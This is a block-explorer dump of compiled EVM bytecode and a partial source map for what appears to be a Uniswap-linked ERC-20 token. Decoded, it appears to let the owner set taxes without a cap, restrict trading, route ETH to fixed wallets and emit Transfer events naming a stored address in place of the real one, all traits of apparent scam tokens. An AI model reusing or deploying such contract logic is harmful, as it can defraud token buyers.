90611738565b80601f016020809104026020016040519081016040528092919081815260200182805461069590611738565b80156106e05780601f106106b7576101008083540402835291602001916106e0565b820191905f5260205f20905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61071b33848461097f565b905092915050565b61072b61131d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610761575f80fd5b600560159054906101000a900460ff161561077a575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fc9190611996565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611996565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b81526004016108be9291906119c1565b602060405180830381865afa1580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd9190611996565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560156101000a81548160ff021916908315150217905550505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f8061098961131d565b9050600560159054906101000a900460ff16806109d157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610a0757508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610a0f575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a5b919061194f565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610acb5750600560149054906101000a900460ff16155b8015610b3d575060646012600a610ae291906118c4565b64e8d4a51000610af2919061190e565b610afc9190611a15565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610b7557508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3d576001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610bb157610bb0611a45565b5b604051908082528060200260200182016040528015610bdf5781602001602082028036833780820191505090505b50905030815f81518110610bf657610bf5611a72565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb19190611996565b81600181518110610cc557610cc4611a72565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610d3f91906118c4565b64e8d4a51000610d4f919061190e565b610d599190611a15565b5f8430426040518663ffffffff1660e01b8152600401610d7d959493929190611b98565b5f604051808303815f87803b158015610d94575f80fd5b505af1158015610da6573d5f803e3d5ffd5b5050505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601447610df4919061190e565b610dfe9190611a15565b90811502906040515f60405180830381858888f19350505050158015610e26573d5f803e3d5ffd5b50600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601447610e71919061190e565b610e7b9190611a15565b90811502906040515f60405180830381858888f19350505050158015610ea3573d5f803e3d5ffd5b5060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064603c47610eee919061190e565b610ef89190611a15565b90811502906040515f60405180830381858888f19350505050158015610f20573d5f803e3d5ffd5b505f600560146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610fb6575060011515600560159054906101000a900460ff161515145b15611097575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611018578361101a565b825b60ff1687611028919061190e565b6110329190611a15565b90508086611040919061194f565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461108e9190611bf0565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e39190611bf0565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111c9578573ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111bc9190611540565b60405180910390a361130f565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112a85760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161129b9190611540565b60405180910390a361130e565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113059190611540565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113bc5780820151818401526020810190506113a1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113e182611385565b6113eb818561138f565b93506113fb81856020860161139f565b611404816113c7565b840191505092915050565b5f6020820190508181035f83015261142781846113d7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61145c82611433565b9050919050565b61146c81611452565b8114611476575f80fd5b50565b5f8135905061148781611463565b92915050565b5f819050919050565b61149f8161148d565b81146114a9575f80fd5b50565b5f813590506114ba81611496565b92915050565b5f80604083850312156114d6576114d561142f565b5b5f6114e385828601611479565b92505060206114f4858286016114ac565b9150509250929050565b5f8115159050919050565b611512816114fe565b82525050565b5f60208201905061152b5f830184611509565b92915050565b61153a8161148d565b82525050565b5f6020820190506115535f830184611531565b92915050565b5f805f606084860312156115705761156f61142f565b5b5f61157d86828701611479565b935050602061158e86828701611479565b925050604061159f868287016114ac565b9150509250925092565b5f60ff82169050919050565b6115be816115a9565b82525050565b5f6020820190506115d75f8301846115b5565b92915050565b6115e681611452565b82525050565b5f6060820190506115ff5f8301866115dd565b61160c60208301856115b5565b61161960408301846115b5565b949350505050565b61162a816115a9565b8114611634575f80fd5b50565b5f8135905061164581611621565b92915050565b5f80604083850312156116615761166061142f565b5b5f61166e85828601611637565b925050602061167f85828601611637565b9150509250929050565b5f6020828403121561169e5761169d61142f565b5b5f6116ab84828501611479565b91505092915050565b5f6020820190506116c75f8301846115dd565b92915050565b5f80604083850312156116e3576116e261142f565b5b5f6116f085828601611479565b925050602061170185828601611479565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061174f57607f821691505b6020821081036117625761176161170b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156117ea578086048111156117c6576117c5611768565b5b60018516156117d55780820291505b80810290506117e385611795565b94506117aa565b94509492505050565b5f8261180257600190506118bd565b8161180f575f90506118bd565b8160018114611825576002811461182f5761185e565b60019150506118bd565b60ff84111561184157611840611768565b5b8360020a91508482111561185857611857611768565b5b506118bd565b5060208310610133831016604e8410600b84101617156118935782820a90508381111561188e5761188d611768565b5b6118bd565b6118a084848460016117a1565b925090508184048111156118b7576118b6611768565b5b81810290505b9392505050565b5f6118ce8261148d565b91506118d9836115a9565b92506119067fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117f3565b905092915050565b5f6119188261148d565b91506119238361148d565b92508282026119318161148d565b9150828204841483151761194857611947611768565b5b5092915050565b5f6119598261148d565b91506119648361148d565b925082820390508181111561197c5761197b611768565b5b92915050565b5f8151905061199081611463565b92915050565b5f602082840312156119ab576119aa61142f565b5b5f6119b884828501611982565b91505092915050565b5f6040820190506119d45f8301856115dd565b6119e160208301846115dd565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a1f8261148d565b9150611a2a8361148d565b925082611a3a57611a396119e8565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611acb611ac6611ac184611a9f565b611aa8565b61148d565b9050919050565b611adb81611ab1565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611b1381611452565b82525050565b5f611b248383611b0a565b60208301905092915050565b5f602082019050919050565b5f611b4682611ae1565b611b508185611aeb565b9350611b5b83611afb565b805f5b83811015611b8b578151611b728882611b19565b9750611b7d83611b30565b925050600181019050611b5e565b5085935050505092915050565b5f60a082019050611bab5f830188611531565b611bb86020830187611ad2565b8181036040830152611bca8186611b3c565b9050611bd960608301856115dd565b611be66080830184611531565b9695505050505050565b5f611bfa8261148d565b9150611c058361148d565b9250828201905080821115611c1d57611c1c611768565b5b9291505056fea264697066735822122057e9e70c3a0da6cd88d3a45cb78142943b8e5983173529e578845a8cf0411f2964736f6c63430008160033

Deployed Bytecode

0x6080604052600436106100c5575f3560e01c80635086cac91161007e578063a8aa1b3111610058578063a8aa1b3114610280578063a9059cbb146102aa578063c9567bf9146102e6578063dd62ed3e146102fc576100cc565b80635086cac9146101f257806370a082311461021a57806395d89b4114610256576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c5780634abe3052146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610338565b6040516100f1919061140f565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b91906114c0565b6103c7565b60405161012d9190611518565b60405180910390f35b348015610141575f80fd5b5061014a6104b4565b6040516101579190611540565b60405180910390f35b34801561016b575f80fd5b5061018660048036038101906101819190611559565b6104d5565b6040516101939190611518565b60405180910390f35b3480156101a7575f80fd5b506101b0610578565b6040516101bd91906115c4565b60405180910390f35b3480156101d1575f80fd5b506101da61057d565b6040516101e9939291906115ec565b60405180910390f35b3480156101fd575f80fd5b506102186004803603810190610213919061164b565b6105cb565b005b348015610225575f80fd5b50610240600480360381019061023b9190611689565b610645565b60405161024d9190611540565b60405180910390f35b348015610261575f80fd5b5061026a61065a565b604051610277919061140f565b60405180910390f35b34801561028b575f80fd5b506102946106ea565b6040516102a191906116b4565b60405180910390f35b3480156102b5575f80fd5b506102d060048036038101906102cb91906114c0565b61070f565b6040516102dd9190611518565b60405180910390f35b3480156102f1575f80fd5b506102fa610723565b005b348015610307575f80fd5b50610322600480360381019061031d91906116cd565b61095f565b60405161032f9190611540565b60405180910390f35b60605f805461034690611738565b80601f016020809104026020016040519081016040528092919081815260200182805461037290611738565b80156103bd5780601f10610394576101008083540402835291602001916103bd565b820191905f5260205f20905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a29190611540565b60405180910390a36001905092915050565b6012600a6104c291906118c4565b64e8d4a510006104d2919061190e565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461055d919061194f565b9250508190555061056f84848461097f565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6105d361131d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610637576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6106418282611347565b5050565b6003602052805f5260405f205f915090505481565b60606001805461066990611738565b80601f016020809104026020016040519081016040528092919081815260200182805461069590611738565b80156106e05780601f106106b7576101008083540402835291602001916106e0565b820191905f5260205f20905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61071b33848461097f565b905092915050565b61072b61131d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610761575f80fd5b600560159054906101000a900460ff161561077a575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fc9190611996565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611996565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b81526004016108be9291906119c1565b602060405180830381865afa1580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd9190611996565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560156101000a81548160ff021916908315150217905550505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f8061098961131d565b9050600560159054906101000a900460ff16806109d157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610a0757508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610a0f575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a5b919061194f565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610acb5750600560149054906101000a900460ff16155b8015610b3d575060646012600a610ae291906118c4565b64e8d4a51000610af2919061190e565b610afc9190611a15565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610b7557508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3d576001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610bb157610bb0611a45565b5b604051908082528060200260200182016040528015610bdf5781602001602082028036833780820191505090505b50905030815f81518110610bf657610bf5611a72565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb19190611996565b81600181518110610cc557610cc4611a72565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610d3f91906118c4565b64e8d4a51000610d4f919061190e565b610d599190611a15565b5f8430426040518663ffffffff1660e01b8152600401610d7d959493929190611b98565b5f604051808303815f87803b158015610d94575f80fd5b505af1158015610da6573d5f803e3d5ffd5b5050505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601447610df4919061190e565b610dfe9190611a15565b90811502906040515f60405180830381858888f19350505050158015610e26573d5f803e3d5ffd5b50600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601447610e71919061190e565b610e7b9190611a15565b90811502906040515f60405180830381858888f19350505050158015610ea3573d5f803e3d5ffd5b5060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064603c47610eee919061190e565b610ef89190611a15565b90811502906040515f60405180830381858888f19350505050158015610f20573d5f803e3d5ffd5b505f600560146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610fb6575060011515600560159054906101000a900460ff161515145b15611097575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611018578361101a565b825b60ff1687611028919061190e565b6110329190611a15565b90508086611040919061194f565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461108e9190611bf0565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e39190611bf0565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111c9578573ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111bc9190611540565b60405180910390a361130f565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112a85760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161129b9190611540565b60405180910390a361130e565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113059190611540565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113bc5780820151818401526020810190506113a1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113e182611385565b6113eb818561138f565b93506113fb81856020860161139f565b611404816113c7565b840191505092915050565b5f6020820190508181035f83015261142781846113d7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61145c82611433565b9050919050565b61146c81611452565b8114611476575f80fd5b50565b5f8135905061148781611463565b92915050565b5f819050919050565b61149f8161148d565b81146114a9575f80fd5b50565b5f813590506114ba81611496565b92915050565b5f80604083850312156114d6576114d561142f565b5b5f6114e385828601611479565b92505060206114f4858286016114ac565b9150509250929050565b5f8115159050919050565b611512816114fe565b82525050565b5f60208201905061152b5f830184611509565b92915050565b61153a8161148d565b82525050565b5f6020820190506115535f830184611531565b92915050565b5f805f606084860312156115705761156f61142f565b5b5f61157d86828701611479565b935050602061158e86828701611479565b925050604061159f868287016114ac565b9150509250925092565b5f60ff82169050919050565b6115be816115a9565b82525050565b5f6020820190506115d75f8301846115b5565b92915050565b6115e681611452565b82525050565b5f6060820190506115ff5f8301866115dd565b61160c60208301856115b5565b61161960408301846115b5565b949350505050565b61162a816115a9565b8114611634575f80fd5b50565b5f8135905061164581611621565b92915050565b5f80604083850312156116615761166061142f565b5b5f61166e85828601611637565b925050602061167f85828601611637565b9150509250929050565b5f6020828403121561169e5761169d61142f565b5b5f6116ab84828501611479565b91505092915050565b5f6020820190506116c75f8301846115dd565b92915050565b5f80604083850312156116e3576116e261142f565b5b5f6116f085828601611479565b925050602061170185828601611479565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061174f57607f821691505b6020821081036117625761176161170b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156117ea578086048111156117c6576117c5611768565b5b60018516156117d55780820291505b80810290506117e385611795565b94506117aa565b94509492505050565b5f8261180257600190506118bd565b8161180f575f90506118bd565b8160018114611825576002811461182f5761185e565b60019150506118bd565b60ff84111561184157611840611768565b5b8360020a91508482111561185857611857611768565b5b506118bd565b5060208310610133831016604e8410600b84101617156118935782820a90508381111561188e5761188d611768565b5b6118bd565b6118a084848460016117a1565b925090508184048111156118b7576118b6611768565b5b81810290505b9392505050565b5f6118ce8261148d565b91506118d9836115a9565b92506119067fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117f3565b905092915050565b5f6119188261148d565b91506119238361148d565b92508282026119318161148d565b9150828204841483151761194857611947611768565b5b5092915050565b5f6119598261148d565b91506119648361148d565b925082820390508181111561197c5761197b611768565b5b92915050565b5f8151905061199081611463565b92915050565b5f602082840312156119ab576119aa61142f565b5b5f6119b884828501611982565b91505092915050565b5f6040820190506119d45f8301856115dd565b6119e160208301846115dd565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a1f8261148d565b9150611a2a8361148d565b925082611a3a57611a396119e8565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611acb611ac6611ac184611a9f565b611aa8565b61148d565b9050919050565b611adb81611ab1565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611b1381611452565b82525050565b5f611b248383611b0a565b60208301905092915050565b5f602082019050919050565b5f611b4682611ae1565b611b508185611aeb565b9350611b5b83611afb565b805f5b83811015611b8b578151611b728882611b19565b9750611b7d83611b30565b925050600181019050611b5e565b5085935050505092915050565b5f60a082019050611bab5f830188611531565b611bb86020830187611ad2565b8181036040830152611bca8186611b3c565b9050611bd960608301856115dd565b611be66080830184611531565b9695505050505050565b5f611bfa8261148d565b9150611c058361148d565b9250828201905080821115611c1d57611c1c611768565b5b9291505056fea264697066735822122057e9e70c3a0da6cd88d3a45cb78142943b8e5983173529e578845a8cf0411f2964736f6c63430008160033

Deployed Bytecode Sourcemap

767:5732:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4169:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3817:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;927:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3586:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;885:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1009:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;2743:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1326:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4268:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1450:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4032:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3203:375;;;;;;;;;;;;;:::i;:::-;;1377:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4169:91;4214:13;4247:5;4240:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4169:91;:::o;3817:207::-;3885:4;3935:6;3902:9;:21;3912:10;3902:21;;;;;;;;;;;;;;;:30;3924:7;3902:30;;;;;;;;;;;;;;;:39;;;;3978:7;3957:37;;3966:10;3957:37;;;3987:6;3957:37;;;;;;:::i;:::-;;;;;;;;4012:4;4005:11;;3817:207;;;;:::o;927:73::-;918:2;986;:14;;;;:::i;:::-;965:17;:35;;;;:::i;:::-;927:73;:::o;3586:223::-;3702:4;3750:6;3719:9;:15;3729:4;3719:15;;;;;;;;;;;;;;;:27;3735:10;3719:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;3774:27;3784:4;3790:2;3794:6;3774:9;:27::i;:::-;3767:34;;3586:223;;;;;:::o;885:35::-;918:2;885:35;:::o;1009:26::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2743:177::-;2820:29;:27;:29::i;:::-;2806:43;;:10;:43;;;2802:69;;2858:13;;;;;;;;;;;;;;2802:69;2882:30;2907:1;2910;2882:24;:30::i;:::-;2743:177;;:::o;1326:44::-;;;;;;;;;;;;;;;;;:::o;4268:95::-;4315:13;4348:7;4341:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4268:95;:::o;1450:19::-;;;;;;;;;;;;;:::o;4032:129::-;4096:4;4120:33;4130:10;4142:2;4146:6;4120:9;:33::i;:::-;4113:40;;4032:129;;;;:::o;3203:375::-;3268:29;:27;:29::i;:::-;3254:43;;:10;:43;;;3246:52;;;;;;3318:11;;;;;;;;;;;3317:12;3309:21;;;;;;3341:16;1542:42;3360:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3341:45;;3397:13;1542:42;3413:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3397:39;;3447:13;3479:8;3463:33;;;3505:4;3512:5;3463:55;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3447:71;;3536:5;3529:4;;:12;;;;;;;;;;;;;;;;;;3566:4;3552:11;;:18;;;;;;;;;;;;;;;;;;3235:343;;;3203:375::o;1377:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4520:1976::-;4633:4;4650:16;4669:29;:27;:29::i;:::-;4650:48;;4717:11;;;;;;;;;;;:31;;;;4740:8;4732:16;;:4;:16;;;4717:31;:49;;;;4758:8;4752:14;;:2;:14;;;4717:49;4709:58;;;;;;4799:6;4780:9;:15;4790:4;4780:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;4842:4;;;;;;;;;;;4836:10;;:2;:10;;;:36;;;;;4864:8;;;;;;;;;;;4863:9;4836:36;:91;;;;;1086:3;918:2;986;:14;;;;:::i;:::-;965:17;:35;;;;:::i;:::-;1072:17;;;;:::i;:::-;4889:9;:24;4907:4;4889:24;;;;;;;;;;;;;;;;:38;;4836:91;:124;;;;;4952:8;4944:16;;:4;:16;;;;4836:124;4818:987;;;4998:4;4987:8;;:15;;;;;;;;;;;;;;;;;;5017:21;5055:1;5041:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5017:40;;5090:4;5072;5077:1;5072:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;1542:42;5120:21;;;:23;;;;;;;;;;;;;;;;;;;;;;